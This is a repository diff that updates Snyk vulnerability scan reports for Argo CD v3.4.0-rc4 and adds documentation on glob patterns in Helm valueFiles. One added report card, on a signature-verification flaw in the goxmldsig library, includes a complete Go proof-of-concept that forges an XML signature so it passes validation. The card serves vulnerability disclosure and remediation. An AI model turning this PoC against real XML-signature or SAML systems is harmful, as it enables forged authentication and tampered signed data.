<p>Upgrade <code>google.golang.org/grpc</code> to version 1.79.3 or higher.</p>
|
||||
<h2 id="references">References</h2>
|
||||
<ul>
|
||||
<li><a href="https://github.com/grpc/grpc-go/commit/72186f163e75a065c39e6f7df9b6dea07fbdeff5">GitHub Commit</a></li>
|
||||
</ul>
|
||||
|
||||
<hr/>
|
||||
|
||||
<div class="cta card__cta">
|
||||
<p><a href="https://snyk.io/vuln/SNYK-GOLANG-GOOGLEGOLANGORGGRPC-15691172">More about this vulnerability</a></p>
|
||||
</div>
|
||||
|
||||
</div><!-- .card -->
|
||||
<div class="card card--vuln disclosure--not-new severity--high" data-snyk-test="high">
|
||||
<h2 class="card__title">CVE-2025-69421</h2>
|
||||
<div class="card__section">
|
||||
@@ -1055,6 +1138,193 @@
|
||||
<p><a href="https://snyk.io/vuln/SNYK-GOLANG-GOOPENTELEMETRYIOOTELSDKRESOURCE-15182758">More about this vulnerability</a></p>
|
||||
</div>
|
||||
|
||||
</div><!-- .card -->
|
||||
<div class="card card--vuln disclosure--not-new severity--high" data-snyk-test="high">
|
||||
<h2 class="card__title">Improper Verification of Cryptographic Signature</h2>
|
||||
<div class="card__section">
|
||||
|
||||
<div class="card__labels">
|
||||
<div class="label label--high">
|
||||
<span class="label__text">high severity</span>
|
||||
</div>
|
||||
<div class="label label--exploit">
|
||||
<span class="label__text">Exploit: Proof of Concept</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<hr/>
|
||||
|
||||
<ul class="card__meta">
|
||||
<li class="card__meta__item">
|
||||
Manifest file: ghcr.io/dexidp/dex:v2.43.0/dexidp/dex <span class="list-paths__item__arrow">›</span> /usr/local/bin/dex
|
||||
</li>
|
||||
<li class="card__meta__item">
|
||||
Package Manager: golang
|
||||
</li>
|
||||
<li class="card__meta__item">
|
||||
Vulnerable module:
|
||||
|
||||
github.com/russellhaering/goxmldsig
|
||||
</li>
|
||||
|
||||
<li class="card__meta__item">Introduced through:
|
||||
|
||||
github.com/dexidp/dex@* and github.com/russellhaering/goxmldsig@v1.5.0
|
||||
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
<hr/>
|
||||
|
||||
|
||||
<h3 class="card__section__title">Detailed paths</h3>
|
||||
|
||||
<ul class="card__meta__paths">
|
||||
<li>
|
||||
<span class="list-paths__item__introduced"><em>Introduced through</em>:
|
||||
github.com/dexidp/dex@*
|
||||
<span class="list-paths__item__arrow">›</span>
|
||||
github.com/russellhaering/goxmldsig@v1.5.0
|
||||
|
||||
</span>
|
||||
|
||||
</li>
|
||||
</ul><!-- .list-paths -->
|
||||
|
||||
</div><!-- .card__section -->
|
||||
|
||||
<hr/>
|
||||
<!-- Overview -->
|
||||
<h2 id="overview">Overview</h2>
|
||||
<p><a href="https://github.com/russellhaering/goxmldsig">github.com/russellhaering/goxmldsig</a> is a XML Digital Signatures implemented in pure Go.</p>
|
||||
<p>Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature through the <code>validateSignature</code> function in the <code>validate.go</code> file. An attacker can bypass integrity checks and alter the contents of signed elements by exploiting pointer aliasing on a loop variable, allowing them to replace one element's contents with another referenced element's.</p>
|
||||
<h2 id="poc">PoC</h2>
|
||||
<pre><code>package main
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"crypto/rsa"
|
||||
"crypto/tls"
|
||||
"crypto/x509"
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"math/big"
|
||||
"time"
|
||||
|
||||
"github.com/beevik/etree"
|
||||
dsig "github.com/russellhaering/goxmldsig"
|
||||
)
|
||||
|
||||
func main() {
|
||||
key, err := rsa.GenerateKey(rand.Reader, 2048)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
|
||||
template := &x509.Certificate{
|
||||
SerialNumber: big.NewInt(1),
|
||||
NotBefore: time.Now().Add(-1 * time.Hour),
|
||||
NotAfter: time.Now().Add(1 * time.Hour),
|
||||
}
|
||||
|
||||
certDER, err := x509.CreateCertificate(rand.Reader, template, template, &key.PublicKey, key)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
|
||||
cert, _ := x509.ParseCertificate(certDER)
|
||||
|
||||
doc := etree.NewDocument()
|
||||
root := doc.CreateElement("Root")
|
||||
root.CreateAttr("ID", "target")
|
||||
root.SetText("Malicious Content")
|
||||
|
||||
tlsCert := tls.Certificate{
|
||||
Certificate: [][]byte{cert.Raw},
|
||||
PrivateKey: key,
|
||||
}
|
||||
|
||||
ks := dsig.TLSCertKeyStore(tlsCert)
|
||||
signingCtx := dsig.NewDefaultSigningContext(ks)
|
||||
|
||||
sig, err := signingCtx.ConstructSignature(root, true)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
|
||||
signedInfo := sig.FindElement("./SignedInfo")
|
||||
|
||||
existingRef := signedInfo.FindElement("./Reference")
|
||||
existingRef.CreateAttr("URI", "#dummy")
|
||||
|
||||
originalEl := etree.NewElement("Root")
|
||||
originalEl.CreateAttr("ID", "target")
|
||||
originalEl.SetText("Original Content")
|
||||
|
||||
sig1, _ := signingCtx.ConstructSignature(originalEl, true)
|
||||
ref1 := sig1.FindElement("./SignedInfo/Reference").Copy()
|
||||
|
||||
signedInfo.InsertChildAt(existingRef.Index(), ref1)
|
||||
|
||||
c14n := signingCtx.Canonicalizer
|
||||
|
||||
detachedSI := signedInfo.Copy()
|
||||
if detachedSI.SelectAttr("xmlns:"+dsig.DefaultPrefix) == nil {
|
||||
detachedSI.CreateAttr("xmlns:"+dsig.DefaultPrefix, dsig.Namespace)
|
||||
}
|
||||
|
||||
canonicalBytes, err := c14n.Canonicalize(detachedSI)
|
||||
if err != nil {
|
||||
fmt.Println("c14n error:", err)
|
||||
return
|
||||
}
|
||||
|
||||
hash := signingCtx.Hash.New()
|
||||
hash.Write(canonicalBytes)
|
||||
digest := hash.Sum(nil)
|
||||
|
||||
rawSig, err := rsa.SignPKCS1v15(rand.Reader, key, signingCtx.Hash, digest)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
|
||||
sigVal := sig.FindElement("./SignatureValue")
|
||||
sigVal.SetText(base64.StdEncoding.EncodeToString(rawSig))
|
||||
|
||||
certStore := &dsig.MemoryX509CertificateStore{
|
||||
Roots: []*x509.Certificate{cert},
|
||||
}
|
||||
valCtx := dsig.NewDefaultValidationContext(certStore)
|
||||
|
||||
root.AddChild(sig)
|
||||
|
||||
doc.SetRoot(root)
|
||||
str, _ := doc.WriteToString()
|
||||
fmt.Println("XML:")
|
||||
fmt.Println(str)
|
||||
|
||||
validated, err := valCtx.Validate(root)
|
||||
if err != nil {
|
||||
fmt.Println("validation failed:", err)
|
||||
} else {
|
||||
fmt.Println("validation ok")
|
||||
fmt.Println("validated text:", validated.Text())
|
||||
}
|
||||
}
|
||||
</code></pre>
|
||||
<h2 id="remediation">Remediation</h2>
|
||||
<p>Upgrade <code>github.com/russellhaering/goxmldsig</code> to version 1.6.0 or higher.</p>
|
||||
<h2 id="references">References</h2>
|
||||
<ul>
|
||||
<li><a href="https://github.com/russellhaering/goxmldsig/commit/db3d1e31f7535d7f5debb49851b9e9a2ff08b936">GitHub Commit</a></li>
|
||||
</ul>
|
||||
|
||||
<hr/>
|
||||
|
||||
<div class="cta card__cta">
|
||||
<p><a href="https://snyk.io/vuln/SNYK-GOLANG-GITHUBCOMRUSSELLHAERINGGOXMLDSIG-15692488">More about this vulnerability</a></p>
|
||||
</div>
|
||||
|
||||
</div><!-- .card -->
|
||||
<div class="card card--vuln disclosure--not-new severity--high" data-snyk-test="high">
|
||||
<h2 class="card__title">Asymmetric Resource Consumption (Amplification)</h2>
|
||||
@@ -492,7 +492,7 @@
|
||||
<div class="header-wrap">
|
||||
<h1 class="project__header__title">Snyk test report</h1>
|
||||
|
||||
<p class="timestamp">March 8th 2026, 12:31:14 am (UTC+00:00)</p>
|
||||
<p class="timestamp">March 29th 2026, 12:39:41 am (UTC+00:00)</p>
|
||||
</div>
|
||||
<div class="source-panel">
|
||||
<span>Scanned the following path:</span>
|
||||
@@ -492,7 +492,7 @@
|
||||
<div class="header-wrap">
|
||||
<h1 class="project__header__title">Snyk test report</h1>
|
||||
|
||||
<p class="timestamp">March 8th 2026, 12:31:20 am (UTC+00:00)</p>
|
||||
<p class="timestamp">March 29th 2026, 12:39:48 am (UTC+00:00)</p>
|
||||
</div>
|
||||
<div class="source-panel">
|
||||
<span>Scanned the following path:</span>
|
||||
File diff suppressed because it is too large
Load Diff
2891
docs/snyk/v3.4.0-rc4/argocd-iac-install.html
Normal file
2891
docs/snyk/v3.4.0-rc4/argocd-iac-install.html
Normal file
File diff suppressed because it is too large
Load Diff
2845
docs/snyk/v3.4.0-rc4/argocd-iac-namespace-install.html
Normal file
2845
docs/snyk/v3.4.0-rc4/argocd-iac-namespace-install.html
Normal file
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
2614
docs/snyk/v3.4.0-rc4/ghcr.io_dexidp_dex_v2.45.0.html
Normal file
2614
docs/snyk/v3.4.0-rc4/ghcr.io_dexidp_dex_v2.45.0.html
Normal file
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,528 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
|
||||
<head>
|
||||
<meta http-equiv="Content-type" content="text/html; charset=utf-8">
|
||||
<meta http-equiv="Content-Language" content="en-us">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<title>Snyk test report</title>
|
||||
<meta name="description" content="0 known vulnerabilities found in 0 vulnerable dependency paths.">
|
||||
<base target="_blank">
|
||||
<link rel="icon" type="image/png" href="https://res.cloudinary.com/snyk/image/upload/v1468845142/favicon/favicon.png"
|
||||
sizes="194x194">
|
||||
<link rel="shortcut icon" href="https://res.cloudinary.com/snyk/image/upload/v1468845142/favicon/favicon.ico">
|
||||
<style type="text/css">
|
||||
|
||||
body {
|
||||
-moz-font-feature-settings: "pnum";
|
||||
-webkit-font-feature-settings: "pnum";
|
||||
font-variant-numeric: proportional-nums;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
font-feature-settings: "pnum";
|
||||
font-size: 100%;
|
||||
line-height: 1.5;
|
||||
min-height: 100vh;
|
||||
-webkit-text-size-adjust: 100%;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
background-color: #F5F5F5;
|
||||
font-family: 'Arial', 'Helvetica', Calibri, sans-serif;
|
||||
}
|
||||
|
||||
h1,
|
||||
h2,
|
||||
h3,
|
||||
h4,
|
||||
h5,
|
||||
h6 {
|
||||
font-weight: 500;
|
||||
}
|
||||
|
||||
a,
|
||||
a:link,
|
||||
a:visited {
|
||||
border-bottom: 1px solid #4b45a9;
|
||||
text-decoration: none;
|
||||
color: #4b45a9;
|
||||
}
|
||||
|
||||
a:hover,
|
||||
a:focus,
|
||||
a:active {
|
||||
border-bottom: 1px solid #4b45a9;
|
||||
}
|
||||
|
||||
hr {
|
||||
border: none;
|
||||
margin: 1em 0;
|
||||
border-top: 1px solid #c5c5c5;
|
||||
}
|
||||
|
||||
ul {
|
||||
padding: 0 1em;
|
||||
margin: 1em 0;
|
||||
}
|
||||
|
||||
code {
|
||||
background-color: #EEE;
|
||||
color: #333;
|
||||
padding: 0.25em 0.5em;
|
||||
border-radius: 0.25em;
|
||||
}
|
||||
|
||||
pre {
|
||||
background-color: #333;
|
||||
font-family: monospace;
|
||||
padding: 0.5em 1em 0.75em;
|
||||
border-radius: 0.25em;
|
||||
font-size: 14px;
|
||||
}
|
||||
|
||||
pre code {
|
||||
padding: 0;
|
||||
background-color: transparent;
|
||||
color: #fff;
|
||||
}
|
||||
|
||||
a code {
|
||||
border-radius: .125rem .125rem 0 0;
|
||||
padding-bottom: 0;
|
||||
color: #4b45a9;
|
||||
}
|
||||
|
||||
a[href^="http://"]:after,
|
||||
a[href^="https://"]:after {
|
||||
background-image: linear-gradient(transparent,transparent),url("data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20viewBox%3D%220%200%20112%20109%22%3E%3Cg%20id%3D%22Page-1%22%20fill%3D%22none%22%20fill-rule%3D%22evenodd%22%3E%3Cg%20id%3D%22link-external%22%3E%3Cg%20id%3D%22arrow%22%3E%3Cpath%20id%3D%22Line%22%20stroke%3D%22%234B45A9%22%20stroke-width%3D%2215%22%20d%3D%22M88.5%2021l-43%2042.5%22%20stroke-linecap%3D%22square%22%2F%3E%3Cpath%20id%3D%22Triangle%22%20fill%3D%22%234B45A9%22%20d%3D%22M111.2%200v50L61%200z%22%2F%3E%3C%2Fg%3E%3Cpath%20id%3D%22square%22%20fill%3D%22%234B45A9%22%20d%3D%22M66%2015H0v94h94V44L79%2059v35H15V30h36z%22%2F%3E%3C%2Fg%3E%3C%2Fg%3E%3C%2Fsvg%3E");
|
||||
background-repeat: no-repeat;
|
||||
background-size: .75rem;
|
||||
content: "";
|
||||
display: inline-block;
|
||||
height: .75rem;
|
||||
margin-left: .25rem;
|
||||
width: .75rem;
|
||||
}
|
||||
|
||||
|
||||
/* Layout */
|
||||
|
||||
[class*=layout-container] {
|
||||
margin: 0 auto;
|
||||
max-width: 71.25em;
|
||||
padding: 1.9em 1.3em;
|
||||
position: relative;
|
||||
}
|
||||
.layout-container--short {
|
||||
padding-top: 0;
|
||||
padding-bottom: 0;
|
||||
max-width: 48.75em;
|
||||
}
|
||||
|
||||
.layout-container--short:after {
|
||||
display: block;
|
||||
content: "";
|
||||
clear: both;
|
||||
}
|
||||
|
||||
/* Header */
|
||||
|
||||
.header {
|
||||
padding-bottom: 1px;
|
||||
}
|
||||
|
||||
.paths {
|
||||
margin-left: 8px;
|
||||
}
|
||||
.header-wrap {
|
||||
display: flex;
|
||||
flex-direction: row;
|
||||
justify-content: space-between;
|
||||
padding-top: 2em;
|
||||
}
|
||||
.project__header {
|
||||
background-color: #030328;
|
||||
color: #fff;
|
||||
margin-bottom: -1px;
|
||||
padding-top: 1em;
|
||||
padding-bottom: 0.25em;
|
||||
border-bottom: 2px solid #BBB;
|
||||
}
|
||||
|
||||
.project__header__title {
|
||||
overflow-wrap: break-word;
|
||||
word-wrap: break-word;
|
||||
word-break: break-all;
|
||||
margin-bottom: .1em;
|
||||
margin-top: 0;
|
||||
}
|
||||
|
||||
.timestamp {
|
||||
float: right;
|
||||
clear: none;
|
||||
margin-bottom: 0;
|
||||
}
|
||||
|
||||
.meta-counts {
|
||||
clear: both;
|
||||
display: block;
|
||||
flex-wrap: wrap;
|
||||
justify-content: space-between;
|
||||
margin: 0 0 1.5em;
|
||||
color: #fff;
|
||||
clear: both;
|
||||
font-size: 1.1em;
|
||||
}
|
||||
|
||||
.meta-count {
|
||||
display: block;
|
||||
flex-basis: 100%;
|
||||
margin: 0 1em 1em 0;
|
||||
float: left;
|
||||
padding-right: 1em;
|
||||
border-right: 2px solid #fff;
|
||||
}
|
||||
|
||||
.meta-count:last-child {
|
||||
border-right: 0;
|
||||
padding-right: 0;
|
||||
margin-right: 0;
|
||||
}
|
||||
|
||||
/* Card */
|
||||
|
||||
.card {
|
||||
background-color: #fff;
|
||||
border: 1px solid #c5c5c5;
|
||||
border-radius: .25rem;
|
||||
margin: 0 0 2em 0;
|
||||
position: relative;
|
||||
min-height: 40px;
|
||||
padding: 1.5em;
|
||||
}
|
||||
|
||||
.card__labels {
|
||||
position: absolute;
|
||||
top: 1.1em;
|
||||
left: 0;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 8px;
|
||||
}
|
||||
|
||||
.card .label {
|
||||
background-color: #767676;
|
||||
border: 2px solid #767676;
|
||||
color: white;
|
||||
padding: 0.25rem 0.75rem;
|
||||
font-size: 0.875rem;
|
||||
text-transform: uppercase;
|
||||
display: inline-block;
|
||||
margin: 0;
|
||||
border-radius: 0.25rem;
|
||||
}
|
||||
|
||||
.card .label__text {
|
||||
vertical-align: text-top;
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
.card .label--critical {
|
||||
background-color: #AB1A1A;
|
||||
border-color: #AB1A1A;
|
||||
}
|
||||
|
||||
.card .label--high {
|
||||
background-color: #CE5019;
|
||||
border-color: #CE5019;
|
||||
}
|
||||
|
||||
.card .label--medium {
|
||||
background-color: #D68000;
|
||||
border-color: #D68000;
|
||||
}
|
||||
|
||||
.card .label--low {
|
||||
background-color: #88879E;
|
||||
border-color: #88879E;
|
||||
}
|
||||
|
||||
.card .label--exploit {
|
||||
background-color: #8B5A96;
|
||||
border-color: #8B5A96;
|
||||
}
|
||||
|
||||
.severity--low {
|
||||
border-color: #88879E;
|
||||
}
|
||||
|
||||
.severity--medium {
|
||||
border-color: #D68000;
|
||||
}
|
||||
|
||||
.severity--high {
|
||||
border-color: #CE5019;
|
||||
}
|
||||
|
||||
.severity--critical {
|
||||
border-color: #AB1A1A;
|
||||
}
|
||||
|
||||
.card--vuln {
|
||||
padding-top: 4em;
|
||||
}
|
||||
|
||||
.card--vuln .card__labels > .label:first-child {
|
||||
padding-left: 1.9em;
|
||||
padding-right: 1.9em;
|
||||
border-radius: 0 0.25rem 0.25rem 0;
|
||||
}
|
||||
|
||||
.card--vuln .card__section h2 {
|
||||
font-size: 22px;
|
||||
margin-bottom: 0.5em;
|
||||
}
|
||||
|
||||
.card--vuln .card__section p {
|
||||
margin: 0 0 0.5em 0;
|
||||
}
|
||||
|
||||
.card--vuln .card__meta {
|
||||
padding: 0 0 0 1em;
|
||||
margin: 0;
|
||||
font-size: 1.1em;
|
||||
}
|
||||
|
||||
.card .card__meta__paths {
|
||||
font-size: 0.9em;
|
||||
}
|
||||
|
||||
.card--vuln .card__title {
|
||||
font-size: 28px;
|
||||
margin-top: 0;
|
||||
margin-right: 100px; /* Ensure space for the risk score */
|
||||
}
|
||||
|
||||
.card--vuln .card__cta p {
|
||||
margin: 0;
|
||||
text-align: right;
|
||||
}
|
||||
|
||||
.risk-score-display {
|
||||
position: absolute;
|
||||
top: 1.5em;
|
||||
right: 1.5em;
|
||||
text-align: right;
|
||||
z-index: 10;
|
||||
}
|
||||
|
||||
.risk-score-display__label {
|
||||
font-size: 0.7em;
|
||||
font-weight: bold;
|
||||
color: #586069;
|
||||
text-transform: uppercase;
|
||||
line-height: 1;
|
||||
margin-bottom: 3px;
|
||||
}
|
||||
|
||||
.risk-score-display__value {
|
||||
font-size: 1.9em;
|
||||
font-weight: 600;
|
||||
color: #24292e;
|
||||
line-height: 1;
|
||||
}
|
||||
|
||||
.source-panel {
|
||||
clear: both;
|
||||
display: flex;
|
||||
justify-content: flex-start;
|
||||
flex-direction: column;
|
||||
align-items: flex-start;
|
||||
padding: 0.5em 0;
|
||||
width: fit-content;
|
||||
}
|
||||
|
||||
|
||||
|
||||
</style>
|
||||
<style type="text/css">
|
||||
.metatable {
|
||||
text-size-adjust: 100%;
|
||||
-webkit-font-smoothing: antialiased;
|
||||
-webkit-box-direction: normal;
|
||||
color: inherit;
|
||||
font-feature-settings: "pnum";
|
||||
box-sizing: border-box;
|
||||
background: transparent;
|
||||
border: 0;
|
||||
font: inherit;
|
||||
font-size: 100%;
|
||||
margin: 0;
|
||||
outline: none;
|
||||
padding: 0;
|
||||
text-align: left;
|
||||
text-decoration: none;
|
||||
vertical-align: baseline;
|
||||
z-index: auto;
|
||||
margin-top: 12px;
|
||||
border-collapse: collapse;
|
||||
border-spacing: 0;
|
||||
font-variant-numeric: tabular-nums;
|
||||
max-width: 51.75em;
|
||||
}
|
||||
|
||||
tbody {
|
||||
text-size-adjust: 100%;
|
||||
-webkit-font-smoothing: antialiased;
|
||||
-webkit-box-direction: normal;
|
||||
color: inherit;
|
||||
font-feature-settings: "pnum";
|
||||
border-collapse: collapse;
|
||||
border-spacing: 0;
|
||||
box-sizing: border-box;
|
||||
background: transparent;
|
||||
border: 0;
|
||||
font: inherit;
|
||||
font-size: 100%;
|
||||
margin: 0;
|
||||
outline: none;
|
||||
padding: 0;
|
||||
text-align: left;
|
||||
text-decoration: none;
|
||||
vertical-align: baseline;
|
||||
z-index: auto;
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
|
||||
.meta-row {
|
||||
text-size-adjust: 100%;
|
||||
-webkit-font-smoothing: antialiased;
|
||||
-webkit-box-direction: normal;
|
||||
color: inherit;
|
||||
font-feature-settings: "pnum";
|
||||
border-collapse: collapse;
|
||||
border-spacing: 0;
|
||||
box-sizing: border-box;
|
||||
background: transparent;
|
||||
border: 0;
|
||||
font: inherit;
|
||||
font-size: 100%;
|
||||
outline: none;
|
||||
text-align: left;
|
||||
text-decoration: none;
|
||||
vertical-align: baseline;
|
||||
z-index: auto;
|
||||
display: flex;
|
||||
align-items: start;
|
||||
border-top: 1px solid #d3d3d9;
|
||||
padding: 8px 0 0 0;
|
||||
border-bottom: none;
|
||||
margin: 8px;
|
||||
width: 47.75%;
|
||||
}
|
||||
|
||||
.meta-row-label {
|
||||
text-size-adjust: 100%;
|
||||
-webkit-font-smoothing: antialiased;
|
||||
-webkit-box-direction: normal;
|
||||
font-feature-settings: "pnum";
|
||||
border-collapse: collapse;
|
||||
border-spacing: 0;
|
||||
color: #4c4a73;
|
||||
box-sizing: border-box;
|
||||
background: transparent;
|
||||
border: 0;
|
||||
font: inherit;
|
||||
margin: 0;
|
||||
outline: none;
|
||||
text-decoration: none;
|
||||
z-index: auto;
|
||||
align-self: start;
|
||||
flex: 1;
|
||||
font-size: 1rem;
|
||||
line-height: 1.5rem;
|
||||
padding: 0;
|
||||
text-align: left;
|
||||
vertical-align: top;
|
||||
text-transform: none;
|
||||
letter-spacing: 0;
|
||||
}
|
||||
|
||||
.meta-row-value {
|
||||
text-size-adjust: 100%;
|
||||
-webkit-font-smoothing: antialiased;
|
||||
-webkit-box-direction: normal;
|
||||
color: inherit;
|
||||
font-feature-settings: "pnum";
|
||||
border-collapse: collapse;
|
||||
border-spacing: 0;
|
||||
word-break: break-word;
|
||||
box-sizing: border-box;
|
||||
background: transparent;
|
||||
border: 0;
|
||||
font: inherit;
|
||||
font-size: 100%;
|
||||
margin: 0;
|
||||
outline: none;
|
||||
padding: 0;
|
||||
text-align: right;
|
||||
text-decoration: none;
|
||||
vertical-align: baseline;
|
||||
z-index: auto;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body class="section-projects">
|
||||
<main class="layout-stacked">
|
||||
<div class="layout-stacked__header header">
|
||||
<header class="project__header">
|
||||
<div class="layout-container">
|
||||
<a class="brand" href="https://snyk.io" title="Snyk">
|
||||
<svg width="68px" height="35px" viewBox="0 0 68 35" version="1.1" xmlns="http://www.w3.org/2000/svg" role="img">
|
||||
<title>Snyk - Open Source Security</title>
|
||||
<g stroke="none" stroke-width="1" fill="none" fill-rule="evenodd">
|
||||
<g fill="#fff">
|
||||
<path d="M5.732,27.278 C3.445,27.278 1.589,26.885 0,26.124 L0.483,22.472 C2.163,23.296 4.056,23.689 5.643,23.689 C6.801,23.689 7.563,23.295 7.563,22.599 C7.563,20.594 0.333,21.076 0.333,15.839 C0.333,12.491 3.407,10.729 7.259,10.729 C9.179,10.729 11.161,11.249 12.444,11.704 L11.924,15.294 C10.577,14.774 8.747,14.291 7.222,14.291 C6.282,14.291 5.518,14.621 5.518,15.231 C5.518,17.208 12.903,16.815 12.903,21.925 C12.903,25.325 9.877,27.277 5.733,27.277 L5.732,27.278 Z M25.726,26.936 L25.726,17.894 C25.726,15.827 24.811,14.85 23.069,14.85 C22.219,14.85 21.329,15.09 20.719,15.46 L20.719,26.936 L15.352,26.936 L15.352,11.262 L20.602,10.83 L20.474,13.392 L20.652,13.392 C21.784,11.87 23.702,10.716 25.992,10.716 C28.736,10.716 31.112,12.416 31.112,16.436 L31.112,26.936 L25.724,26.936 L25.726,26.936 Z M61.175,26.936 L56.879,19.479 L56.446,19.479 L56.446,26.935 L51.082,26.935 L51.082,8.37 L56.447,0 L56.447,17.323 C57.515,16.017 61.112,11.059 61.112,11.059 L67.732,11.059 L61.454,17.689 L67.949,26.95 L61.175,26.95 L61.175,26.938 L61.175,26.936 Z M44.13,11.11 L41.93,18.262 C41.5,19.606 41.08,22.079 41.08,22.079 C41.08,22.079 40.75,19.516 40.292,18.172 L37.94,11.108 L31.928,11.108 L38.462,26.935 C37.572,29.04 36.199,30.815 34.369,30.815 C34.039,30.815 33.709,30.802 33.389,30.765 L31.255,34.061 C31.928,34.441 33.212,34.835 34.737,34.835 C38.703,34.835 41.359,31.627 43.215,26.885 L49.443,11.108 L44.132,11.108 L44.13,11.11 Z"></path>
|
||||
</g>
|
||||
</g>
|
||||
</svg>
|
||||
</a>
|
||||
<div class="header-wrap">
|
||||
<h1 class="project__header__title">Snyk test report</h1>
|
||||
|
||||
<p class="timestamp">March 29th 2026, 12:36:33 am (UTC+00:00)</p>
|
||||
</div>
|
||||
<div class="source-panel">
|
||||
<span>Scanned the following path:</span>
|
||||
<ul>
|
||||
<li class="paths">public.ecr.aws/docker/library/redis:8.2.3-alpine/docker/library/redis (apk)</li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<div class="meta-counts">
|
||||
<div class="meta-count"><span>0</span> <span>known vulnerabilities</span></div>
|
||||
<div class="meta-count"><span>0 vulnerable dependency paths</span></div>
|
||||
<div class="meta-count"><span>22</span> <span>dependencies</span></div>
|
||||
</div><!-- .meta-counts -->
|
||||
</div><!-- .layout-container--short -->
|
||||
</header><!-- .project__header -->
|
||||
</div><!-- .layout-stacked__header -->
|
||||
<section class="layout-container">
|
||||
<table class="metatable">
|
||||
<tbody>
|
||||
<tr class="meta-row"><th class="meta-row-label">Project</th> <td class="meta-row-value">docker-image|public.ecr.aws/docker/library/redis</td></tr>
|
||||
<tr class="meta-row"><th class="meta-row-label">Path</th> <td class="meta-row-value">public.ecr.aws/docker/library/redis:8.2.3-alpine/docker/library/redis</td></tr>
|
||||
<tr class="meta-row"><th class="meta-row-label">Package Manager</th> <td class="meta-row-value">apk</td></tr>
|
||||
|
||||
</tbody>
|
||||
</table>
|
||||
</section>
|
||||
<div class="layout-container" style="padding-top: 35px;">
|
||||
No known vulnerabilities detected.
|
||||
</div>
|
||||
</main><!-- .layout-stacked__content -->
|
||||
</body>
|
||||
|
||||
</html>
|
||||
2533
docs/snyk/v3.4.0-rc4/quay.io_argoproj_argocd_v3.4.0-rc3.html
Normal file
2533
docs/snyk/v3.4.0-rc4/quay.io_argoproj_argocd_v3.4.0-rc3.html
Normal file
File diff suppressed because it is too large
Load Diff
@@ -90,6 +90,241 @@ source:
|
||||
ignoreMissingValueFiles: true
|
||||
```
|
||||
|
||||
## Glob Patterns in Value Files
|
||||
|
||||
Glob patterns can be used in `valueFiles` entries to match multiple files at once. This is useful
|
||||
when the set of environment-specific override files is not known in advance, or when you want to
|
||||
pick up new files automatically without updating the Application spec.
|
||||
|
||||
```bash
|
||||
# Single quotes prevent the shell from expanding the glob before Argo CD receives it
|
||||
argocd app set helm-guestbook --values 'envs/*.yaml'
|
||||
```
|
||||
|
||||
In the declarative syntax:
|
||||
|
||||
```yaml
|
||||
source:
|
||||
helm:
|
||||
valueFiles:
|
||||
- envs/*.yaml
|
||||
```
|
||||
|
||||
### Supported pattern syntax
|
||||
|
||||
Glob expansion uses the [doublestar](https://github.com/bmatcuk/doublestar) library.
|
||||
|
||||
| Pattern | Description |
|
||||
|---------|-------------|
|
||||
| `*` | Matches any sequence of non-separator characters within a single directory level |
|
||||
| `?` | Matches any single non-separator character |
|
||||
| `[abc]` | Matches one of the characters listed inside the brackets |
|
||||
| `[a-z]` | Matches any character in the given range |
|
||||
| `**` | Matches any sequence of characters including `/` (recursive across directory levels) |
|
||||
|
||||
### How files are passed to Helm
|
||||
|
||||
Each matched file is passed to `helm template` as a separate `--values <path>` flag, in the same
|
||||
order they appear after expansion. This is identical to listing each file individually in
|
||||
`valueFiles`. Argo CD does the expansion before invoking Helm.
|
||||
|
||||
Matched files are expanded **in-place** within the `valueFiles` list and sorted in **lexical
|
||||
(alphabetical) order**. Because Helm gives higher precedence to later `--values` flags, lexical
|
||||
order determines which file wins when the same key appears in multiple files.
|
||||
|
||||
```
|
||||
envs/
|
||||
a.yaml # sets foo: a-value
|
||||
b.yaml # sets foo: b-value
|
||||
```
|
||||
|
||||
```yaml
|
||||
# envs/*.yaml expands to: envs/a.yaml, envs/b.yaml (lexical order)
|
||||
# b.yaml is last → foo = "b-value"
|
||||
source:
|
||||
helm:
|
||||
valueFiles:
|
||||
- envs/*.yaml
|
||||
```
|
||||
|
||||
When you have multiple entries in `valueFiles`, the relative order between entries is preserved.
|
||||
Glob expansion only reorders files within a single pattern:
|
||||
|
||||
```yaml
|
||||
valueFiles:
|
||||
- base.yaml # passed first
|
||||
- overrides/*.yaml # expanded in lexical order, passed after base.yaml
|
||||
- final.yaml # passed last, highest precedence
|
||||
```
|
||||
|
||||
### Recursive matching with `**`
|
||||
|
||||
Use `**` to match files at any depth below a directory:
|
||||
|
||||
```yaml
|
||||
# envs/**/*.yaml processes each directory's own files before descending into subdirectories,
|
||||
# with directories and files sorted alphabetically at each level.
|
||||
#
|
||||
# envs/a.yaml ← 'a' (flat file in envs/)
|
||||
# envs/z.yaml ← 'z' (flat file in envs/, processed before descending)
|
||||
# envs/nested/c.yaml ← inside envs/nested/, processed after envs/ flat files
|
||||
#
|
||||
# nested/c.yaml is last → foo = "nested-value"
|
||||
source:
|
||||
helm:
|
||||
valueFiles:
|
||||
- envs/**/*.yaml
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> `**` matches zero or more path segments, so `envs/**/*.yaml` also matches files directly
|
||||
